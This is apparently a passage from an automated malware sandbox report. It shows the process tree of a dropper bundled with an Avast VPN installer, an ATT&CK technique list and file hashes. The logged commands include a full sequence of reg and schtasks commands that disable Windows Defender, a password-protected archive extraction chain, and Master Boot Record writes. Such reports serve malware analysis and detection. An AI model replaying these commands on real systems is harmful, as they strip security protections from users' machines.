C:\ProgramData\37bFdy\rchost.exe
"rchost.exe"
6⤵
- Executes dropped EXE
PID:1408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1408 -s 500
7⤵
- Program crash
PID:636

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\37bFdy\kgr2ln9m.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:816

C:\Windows\SysWOW64\timeout.exe
timeout /T 60 /NOBREAK
5⤵
- Delays execution with timeout.exe
PID:4408

C:\Program Files (x86)\avastvpn.exe
"C:\Program Files (x86)\avastvpn.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4100

C:\Users\Admin\AppData\Local\Temp\is-I6DCU.tmp\avastvpn.tmp
"C:\Users\Admin\AppData\Local\Temp\is-I6DCU.tmp\avastvpn.tmp" /SL5="$901DA,8012383,778240,C:\Program Files (x86)\avastvpn.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2500

C:\Program Files (x86)\avast_secureline_setup.exe
"C:\Program Files (x86)\avast_secureline_setup.exe"
5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
PID:4800

C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\common\icarus.exe
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\common\icarus.exe /icarus-info-path:C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\icarus-info.xml /install
6⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:4620

C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\common\icarus_ui.exe
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\common\icarus_ui.exe /er_master:master_ep_a5d45cc6-4dd6-46a9-8b0c-80e7d3e18863 /er_ui:ui_ep_aadb059d-5a55-4add-bee3-1df400f38431
7⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2836

C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\avast-vpn\icarus.exe
C:\Windows\Temp\asw-0935a736-c995-4b4b-832b-75c95d57483f\avast-vpn\icarus.exe /er_master:master_ep_a5d45cc6-4dd6-46a9-8b0c-80e7d3e18863 /er_ui:ui_ep_aadb059d-5a55-4add-bee3-1df400f38431 /er_slave:avast-vpn_slave_ep_c77196ee-ce31-44d3-a1a8-05690653960d /slave:avast-vpn
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\xOUvu\MMF.vbs"
5⤵
PID:2168

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\xOUvu\DisableOAVProtection.bat" "
6⤵
PID:3984

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
7⤵
PID:4020

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
7⤵
PID:2852

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
7⤵
PID:1152

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
7⤵
PID:3188

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
7⤵
PID:616

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
7⤵
PID:2488

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
7⤵
PID:4120

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
7⤵
PID:4016

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
7⤵
PID:4264

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
7⤵
PID:4732

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
7⤵
PID:4592

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
7⤵
PID:3124

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
7⤵
PID:1780

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
7⤵
PID:3504

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
7⤵
PID:3768

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
7⤵
PID:1856

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
7⤵
PID:3800

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
7⤵
PID:3044

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
7⤵
PID:4320

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
7⤵
PID:2020

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
7⤵
PID:3996

C:\Windows\SysWOW64\reg.exe
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
7⤵
PID:828

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
7⤵
PID:3108

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
7⤵
PID:2852

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4584

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
7⤵
PID:1152

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:1784

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:4072

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2232

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:944

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
7⤵
- Modifies security service
PID:4980

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
7⤵
PID:872

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\xOUvu\main.bat" "
6⤵
- Suspicious use of WriteProcessMemory
PID:1896

C:\Windows\SysWOW64\mode.com
mode 65,10
7⤵
PID:1940

C:\ProgramData\xOUvu\7z.exe
7z.exe e file.zip -p___________12659pwd5006pwd7116___________ -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4548

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_11.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:708

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_10.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2288

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_9.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_8.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1520

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_7.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_6.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1604

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_5.zip -oextracted
7⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2168

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_4.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1940

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_3.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1764

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_2.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2880

C:\ProgramData\xOUvu\7z.exe
7z.exe e extracted/file_1.zip -oextracted
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4268

C:\ProgramData\xOUvu\SgrmClientApi.exe
"SgrmClientApi.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2128

C:\ProgramData\xOUvu\SgrmClientApi.exe
"SgrmClientApi.exe"
8⤵
- Executes dropped EXE
PID:796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 796 -s 488
9⤵
- Program crash
PID:4864

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\ProgramData\xOUvu\DiskRemoval.bat" "
6⤵
- Suspicious use of WriteProcessMemory
PID:2456

C:\Windows\SysWOW64\timeout.exe
timeout /T 60 /NOBREAK
7⤵
- Delays execution with timeout.exe
PID:1924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1408 -ip 1408
1⤵
PID:1652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 176 -p 796 -ip 796
1⤵
PID:4588

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Bootkit

T1067

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\avast_secureline_setup.exe
MD5
97a2db945a42346cdae06304a03250a8

SHA1
2b879d1dfb3ec3f41175f762b68bf01eae0b8982

SHA256
1f8aeadcafe26d3a9a04c4a30926864e3baacc0c1751f5e4e3f3ed9fa7b4116a

SHA512
3d4ab63f2a36a3dd852b14caf17ea6ceff5a23563d10b19f1279008d643b350a16b6c71b726ae69bcfaba531744f8a07a9c341d8e1ba85183f8535edd0ddec6e

Download Submit
C:\Program Files (x86)\avast_secureline_setup.exe
MD5
97a2db945a42346cdae06304a03250a8

SHA1
2b879d1dfb3ec3f41175f762b68bf01eae0b8982

SHA256
1f8aeadcafe26d3a9a04c4a30926864e3baacc0c1751f5e4e3f3ed9fa7b4116a

SHA512
3d4ab63f2a36a3dd852b14caf17ea6ceff5a23563d10b19f1279008d643b350a16b6c71b726ae69bcfaba531744f8a07a9c341d8e1ba85183f8535edd0ddec6e

Download Submit
C:\Program Files (x86)\avastvpn.exe
MD5
6ffc5787731424bf302fb6bee6f5f3de

SHA1
e893f1a2d7f10c4c7cd63c10dfe756966d0107f3

SHA256
4bdd0934c8c441a80c0f845f596d3fc431b9165db221264f11ed951bdef66052

SHA512
e9caaac45209aa7e43cd72b26787045f1008fdc0bf4e035b15f8dc59cd175c431b4c611301419dfcab421a6a21abec7c8ef0e95f756765f2ef9dcabfa8c47934

Download Submit
C:\Program Files (x86)\avastvpn.exe
MD5
6ffc5787731424bf302fb6bee6f5f3de

SHA1
e893f1a2d7f10c4c7cd63c10dfe756966d0107f3

SHA256
4bdd0934c8c441a80c0f845f596d3fc431b9165db221264f11ed951bdef66052

SHA512
e9caaac45209aa7e43cd72b26787045f1008fdc0bf4e035b15f8dc59cd175c431b4c611301419dfcab421a6a21abec7c8ef0e95f756765f2ef9dcabfa8c47934

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\7z.exe
MD5
619f7135621b50fd1900ff24aade1524

SHA1
6c7ea8bbd435163ae3945cbef30ef6b9872a4591

SHA256
344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

SHA512
2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

Download Submit
C:\ProgramData\37bFdy\MMF.vbs
MD5
3f4db86c67389b638881d8133d804efc

SHA1
543164f657ed7c9886b210c23e91e8fbaf7db191

SHA256
f86af60929d7e61b3d0ded4e85a62ee68399f29db69226f3629b003cca6fcfec

SHA512
e2dd49a9208259a761fcea147a4b59946b38914a41f882309c71a0689456ab4e52df7a9a09fb80bec62aff2eb9d9391d4813bdbedfb287df2d552ab5895e6c4f

Download Submit
C:\ProgramData\37bFdy\extracted\ANTIAV~1.DAT
MD5
a41e635db17aed873aef5f5c35d80a71

SHA1
866063f8e9671e7dfd948819a8be617885c1365f

SHA256
7032c7263f37bfb0ffc4305922257393e4ad25fcf1c809c5367c6a912c1c6def

SHA512
2e1be02589861eeaf07b7e5de46c74d65150c0a2599151875891a92534d4e6fb8eae5a0246a5ff2fa11c141c9291babfc815122df46c8027223a42cdeaba47d0

Download Submit
C:\ProgramData\37bFdy\extracted\file_1.zip
MD5
f59aa4bdd2882e07fd464fab66e4d901

SHA1
c63ec2257c330ee10dd7a21704fedf35ee274514

SHA256
10459972ab87f5e98d7b3cbfa250fe9f7b30b4a8ee6aa6a38ef637dcace9868a

SHA512
0af68895ffc81c7ca130ff31a8bf700e9b35c2e7a2ba310b40faef7b9a2331cc0e14edf13949830ac028403d7f1df6c29ce12c8e1b3c876f9351e3a262fafdc8

Download Submit
C:\ProgramData\37bFdy\extracted\file_2.zip
MD5
0ed9135bba8f9fda74a4aa8e84f5244e

SHA1
62afd82b04c14e6995ff396d5e162a38fa3a0243

SHA256
3b666e5bfde079cd8077a9c8a2a02648dec883592a38302590d9ca24d99d90cd

SHA512
c00122376fa3148d5536e0c57beceb56703695e055b4f97efd33b3505c093c14ca35601ef434efc7c07a936ea31b072f634106d96e53a0631d8d243349bf93fa

Download Submit
C:\ProgramData\37bFdy\extracted\file_3.zip
MD5
caf275ae40abd0d434641895043db2de

SHA1
a20bb58f85acc31add8a12f1ac61bf9921c7f58d

SHA256
6c70905732d1ba47eb3f717bee319f9bee8321fe1bf8e83d00812f0438adae4a

SHA512
a939c36f6b620bf8e20c4e20abbefdda30844312dca010b73eb38e8c84f5b7c4ed6966bd1fccb82792832e381f3601d2c83f51e109d90af556b3688b08953bde

Download Submit
C:\ProgramData\37bFdy\extracted\file_4.zip
MD5
d162681c6d09dd1e77c4cfc5982a0f6f

SHA1
fba554d67e47c766ee1d590b14a929cdcfc9c050

SHA256
13cbff6a2530fe9bc27680b6189c9afdb57c90b2bb8c3e7703e45476693d6bf1

SHA512
e6f0732c96defab22decf7cc5a547d923d9e84c819c10ab59df75bb380b8a219de4ba3c10a3dc76d03589abb563e6da517b1c70ed0ca8701830565c97c934878

Download Submit
C:\ProgramData\37bFdy\extracted\file_5.zip
MD5
84fcc2e0dec17a7cf35f3495dd694d26

SHA1
efa1df422d68ea8a00cb10a98bbf58a8061ea29d

SHA256
bb7394efae0348560314027990a608daa654cc9f78ec7b916d8c4cf8ddd74005

SHA512
3d1a1b81654b6beb4414584efa408a01c0c347f94b7fc8bd48876885510006e5308567a5343f401951686f48a257b0bbcaf3eb7aabb137624a82fe44ac627d47

Download Submit
C:\ProgramData\37bFdy\extracted\file_6.zip
MD5
4b3d45dddcc2056523c38b2e36cfcc2f

SHA1
5b9a64fcd268429fb06b816d969a38901c22ca5f

SHA256
0dae21e227fab70607588fbf7fbbc0b93e91d43ae8cf53e1bc425cd1c2f279bc

SHA512
9a77d9136692fdb631700ab2146473997c4b9502c5824378d004fc2825636bbb24545b705c796da825e77e71ae3585a9f7bdf958fd2aa684161bb61e856ba77c

Download Submit
C:\ProgramData\37bFdy\extracted\file_7.zip
MD5
421e0b35fd18a4eb23fb31858ddd6ffd

SHA1
9eaa4fd1a50338ab5935458d938b92e578584323

SHA256
d2fe351abaf8cbe02f15b398ef7b918ec557a963023e549b0bb714b3d4bf265e

SHA512
d5379ed1e1a6bc59a19e4d26f8c274b16f04fbf46171e14271bfa7a7c2ba51ec73e79f8fad0caf8cc67a5c31f1c1cff8783d058fe473afe20994696573c10ab8

Download Submit
C:\ProgramData\37bFdy\extracted\rchost.exe
MD5
d9e63a1843da137322b24bf83ab39329

SHA1
d9384403e8385bb900011b4e4983a1fe518e97d3

SHA256
7d7d95cbfb3e47a5bf0bd673bc8681f3e5c5b386fd630d4581763b49a8d2587d

SHA512
d3eb8cf9d36077b27085e73df5d11f163e4330c36856907d7b6264f2c51e8883cdb661bc0a0f21d92ac8a8b0014799d3b68c9622891e21affa8f22f1837d9598

Download Submit
C:\ProgramData\37bFdy\file.bin
MD5
92073209ecc01ccb34907330a3e8c775

SHA1
67f8a6a6ac204b06dc585292a9d9d5fb9cc40a02

SHA256
56cfd8ae14df7cf1abcf3e5830312796e75adc68d31a94cc364f8f130e762a32

SHA512
57cb7e4eb29cc5372e58b5eb8e630266e69dabd81f57355714a697c4807cd06f25928aa01492e72eaa68bd0aea84fe50d2fdebde38ffefe43bb7d4462a435a6c

Download Submit
C:\ProgramData\37bFdy\kgr2ln9m.bat
MD5
e811fb87a9345bf5f3eef8898b4558e3

SHA1
d4d9029d46b9743cdb96938c268aeaf34f30d9b1

SHA256
4aafffa93d8a42643cc1bfb994788418b955f86569c20a7319a7f6f3e24ac2fd

SHA512
3ac3dc5e2b71525e52df9ff708b5a93869f209723abfa4a4492746f10f89254c18e315786556f24e7c183d910a5dcd1b6df06f8d33c711dce6603a36e4a91655

Download Submit
C:\ProgramData\37bFdy\main.bat
MD5
1d2b9d6887d787fe5e131f45cb55a9bf

SHA1
1fc2abcb5241b0b80a8e1c1660066010b9ac288d

SHA256
0b2a722da3508d480f75101144d8216058f62dfd422df55a4cfd50895e03a7b4

SHA512
ce0aa5e13d22e2e32f6934685ad3242a371a603b5c962c09c58444e77f2af0dc5ea660be74a8f055a9b6799223b920ef7ec09a48d40c9a449bb9b480563c54de

Download Submit
C:\ProgramData\37bFdy\n0eexnwg.bat
MD5
9bbbae3e380365790d922ecb6dbda1d3

SHA1
2f6b08c71e917db244a4898ec59e3ce5d37b6f60

SHA256
ffd6b760dc786179a1aca0c543fd4d223ff7d0e16f2d1b1414add7aee5b46fb8

SHA512
3d20992b121e117c45b19a0b74e33b95392bd8d56e760e2e314c6801d9ef16f16eb455c0c805243465134b5b0c320361cc4a6ab4a62b482aa6e88701f799c31f

Download Submit
C:\ProgramData\37bFdy\rchost.exe
MD5
d9e63a1843da137322b24bf83ab39329

SHA1
d9384403e8385bb900011b4e4983a1fe518e97d3

SHA256
7d7d95cbfb3e47a5bf0bd673bc8681f3e5c5b386fd630d4581763b49a8d2587d

SHA512
d3eb8cf9d36077b27085e73df5d11f163e4330c36856907d7b6264f2c51e8883cdb661bc0a0f21d92ac8a8b0014799d3b68c9622891e21affa8f22f1837d9598

Download Submit
C:\ProgramData\xOUvu\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
1e9338d56db7ded386878eab7bb44b8934ab1bc7

SHA256
34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

SHA512
583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

Download Submit
C:\ProgramData\xOUvu\7z.dll
MD5
72491c7b87a7c2dd350b727444f13bb4

SHA1
